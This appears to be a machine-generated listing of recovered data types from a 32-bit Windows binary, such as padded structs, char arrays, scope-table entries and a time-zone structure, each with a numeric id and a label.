916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_67"
978 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,6)) "padded_68"
979 array(num8_t,39) "char[39]"
980 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,7)) "padded_69"
914 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,19)) "padded_70"
963 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,10)) "padded_71"
968 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,15)) "padded_72"
981 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,12)) "padded_73"
967 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,6)) "padded_74"
968 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,15)) "padded_75"
973 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,12)) "padded_76"
970 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,3)) "padded_77"
968 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,15)) "padded_78"
962 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg8_t) "padded_79"
982 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,3)) "padded_80"
963 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,10)) "padded_81"
983 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg64_t) "padded_82"
984 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg8_t) "padded_83"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_84"
963 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,10)) "padded_85"
985 array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2) "Struct_1[2]"
986 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,10)) "padded_86"
968 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,15)) "padded_87"
978 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,6)) "padded_88"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_89"
987 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg32_t) "padded_90"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_91"
987 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg32_t) "padded_92"
988 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),3),60:array(reg8_t,14)) "padded_93"
989 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg16_t) "padded_94"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_95"
971 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg16_t) "padded_96"
969 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,16)) "padded_97"
990 array(num8_t,40) "char[40]"
991 array(num8_t,42) "char[42]"
992 array(num8_t,37) "char[37]"
993 array(num8_t,31) "char[31]"
994 array(num8_t,43) "char[43]"
995 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,7)) "padded_98"
996 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,18)) "padded_99"
966 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,9)) "padded_100"
966 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,9)) "padded_101"
987 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg32_t) "padded_102"
987 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg32_t) "padded_103"
987 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg32_t) "padded_104"
989 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg16_t) "padded_105"
968 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,15)) "padded_106"
984 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg8_t) "padded_107"
914 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,19)) "padded_108"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_109"
982 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,3)) "padded_110"
965 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg64_t) "padded_111"
972 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,5)) "padded_112"
967 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,6)) "padded_113"
972 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,5)) "padded_114"
970 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,3)) "padded_115"
970 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,3)) "padded_116"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_117"
917 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,14)) "padded_118"
982 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,3)) "padded_119"
997 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,19)) "padded_120"
926 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg32_t) "padded_121"
987 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg32_t) "padded_122"
998 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),3),60:reg8_t) "padded_123"
963 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,10)) "padded_124"
999 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,11)) "padded_125"
1000 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),3),60:reg32_t) "padded_126"
995 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,7)) "padded_127"
989 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg16_t) "padded_128"
1001 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),3),60:reg16_t) "padded_129"
978 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,6)) "padded_130"
981 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,12)) "padded_131"
923 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,17)) "padded_132"
970 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,3)) "padded_133"
989 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg16_t) "padded_134"
1002 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,15)) "padded_135"
968 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,15)) "padded_136"
970 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,3)) "padded_137"
968 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,15)) "padded_138"
972 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,5)) "padded_139"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_140"
967 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,6)) "padded_141"
923 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,17)) "padded_142"
962 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg8_t) "padded_143"
973 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,12)) "padded_144"
967 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,6)) "padded_145"
914 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,19)) "padded_146"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_147"
917 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,14)) "padded_148"
970 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,3)) "padded_149"
995 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,7)) "padded_150"
986 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:array(reg8_t,10)) "padded_151"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_152"
987 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg32_t) "padded_153"
963 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,10)) "padded_154"
966 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,9)) "padded_155"
968 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,15)) "padded_156"
995 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,7)) "padded_157"
998 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),3),60:reg8_t) "padded_158"
987 struct(0:array(struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),2),40:reg32_t) "padded_159"
1003 array(reg8_t,1024) "unknown_8192"
1004 array(reg8_t,1428) "unknown_11424"
1005 array(reg8_t,1020) "unknown_8160"
1006 array(reg8_t,380) "unknown_3040"
0 code_t "(dword,dword -> dword)*"
1007 array(num8_t,30) "char[30]"
971 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg16_t) "padded_160"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_161"
963 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,10)) "padded_162"
964 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,11)) "padded_163"
971 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg16_t) "padded_164"
971 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg16_t) "padded_165"
995 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,7)) "padded_166"
916 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:array(reg8_t,13)) "padded_167"
1008 array(num8_t,26) "char[26]"
1009 array(num8_t,24) "char[24]"
1010 array(reg8_t,188) "unknown_1504"
1011 array(num8_t,186) "char[186]"
1012 array(num8_t,446) "char[446]"
1013 array(num8_t,327) "char[327]"
1014 array(num8_t,677) "char[677]"
1015 array(num8_t,126) "char[126]"
1016 array(num8_t,116) "char[116]"
1017 array(num8_t,316) "char[316]"
1018 array(num8_t,358) "char[358]"
1019 array(num8_t,404) "char[404]"
1020 array(num8_t,35) "char[35]"
1021 array(num8_t,41) "char[41]"
1022 array(num8_t,49) "char[49]"
1023 array(num8_t,32) "char[32]"
1024 array(num8_t,44) "char[44]"
1025 array(num8_t,63) "char[63]"
965 struct(0:struct(0:ptr(struct(0:reg32_t,4:code_t)),4:union(ptr(num8_t),num32_t),8:union(ptr(num8_t),num32_t),12:union(ptr(num8_t),num32_t),16:union(ptr(num8_t),num32_t)),20:reg64_t) "padded_168"
1026 array(num8_t,54) "char[54]"
1027 array(num8_t,58) "char[58]"
1028 struct(0:num32_t,4:ptr(TOP),8:ptr(TOP)) "_SCOPETABLE_ENTRY"
1029 array(reg8_t,448) "unknown_3584"
1030 array(num8_t,160) "char[160]"
1031 array(num8_t,177) "char[177]"
1032 array(struct(0:num32_t,4:ptr(TOP),8:ptr(TOP)),3) "_SCOPETABLE_ENTRY[3]"
1033 array(struct(0:num32_t,4:ptr(TOP),8:ptr(TOP)),2) "_SCOPETABLE_ENTRY[2]"
0 code_t "(dword,_Inout_ PVOID,dword -> dword)*"
1034 ptr(ptr(num16_t)) "short**"
1035 array(reg8_t,396) "unknown_3168"
1036 array(reg8_t,196) "unknown_1568"
166 ptr(code_t) "(void -?-> dword)**"
0 code_t "(dword,dword,dword,dword,dword,dword,dword,dword -> dword)*"
0 code_t "(dword,dword,dword,char,dword,dword,dword,dword -> dword)*"
1037 array(reg8_t,180) "unknown_1440"
1038 struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)) "FILE"
1039 array(reg8_t,528) "unknown_4224"
0 code_t "(UINT -> dword)*"
1040 array(reg8_t,356) "unknown_2848"
1041 array(reg8_t,120) "unknown_960"
1042 array(reg8_t,213) "unknown_1704"
1043 array(reg8_t,1164) "unknown_9312"
1044 ptr(ptr(struct(0:code_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),40:ptr(TOP),44:ptr(TOP)))) "Struct_2**"
1045 ptr(struct(0:ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP))),4:code_t)) "Struct_3*"
1046 array(reg8_t,1208) "unknown_9664"
1047 array(reg8_t,510) "unknown_4080"
1048 array(reg8_t,1808) "unknown_14464"
1049 array(reg8_t,1023) "unknown_8184"
1050 array(reg8_t,344) "unknown_2752"
1051 array(reg8_t,1096) "unknown_8768"
1052 array(reg8_t,3792) "unknown_30336"
1053 array(reg8_t,531) "unknown_4248"
1054 struct(0:num32_t,4:array(uint16_t,32),68:struct(0:reg16_t,2:reg16_t,4:reg16_t,6:reg16_t,8:reg16_t,10:reg16_t,12:reg16_t,14:reg16_t),84:num32_t,88:array(uint16_t,32),152:struct(0:reg16_t,2:reg16_t,4:reg16_t,6:reg16_t,8:reg16_t,10:reg16_t,12:reg16_t,14:reg16_t),168:num32_t) "_TIME_ZONE_INFORMATION"
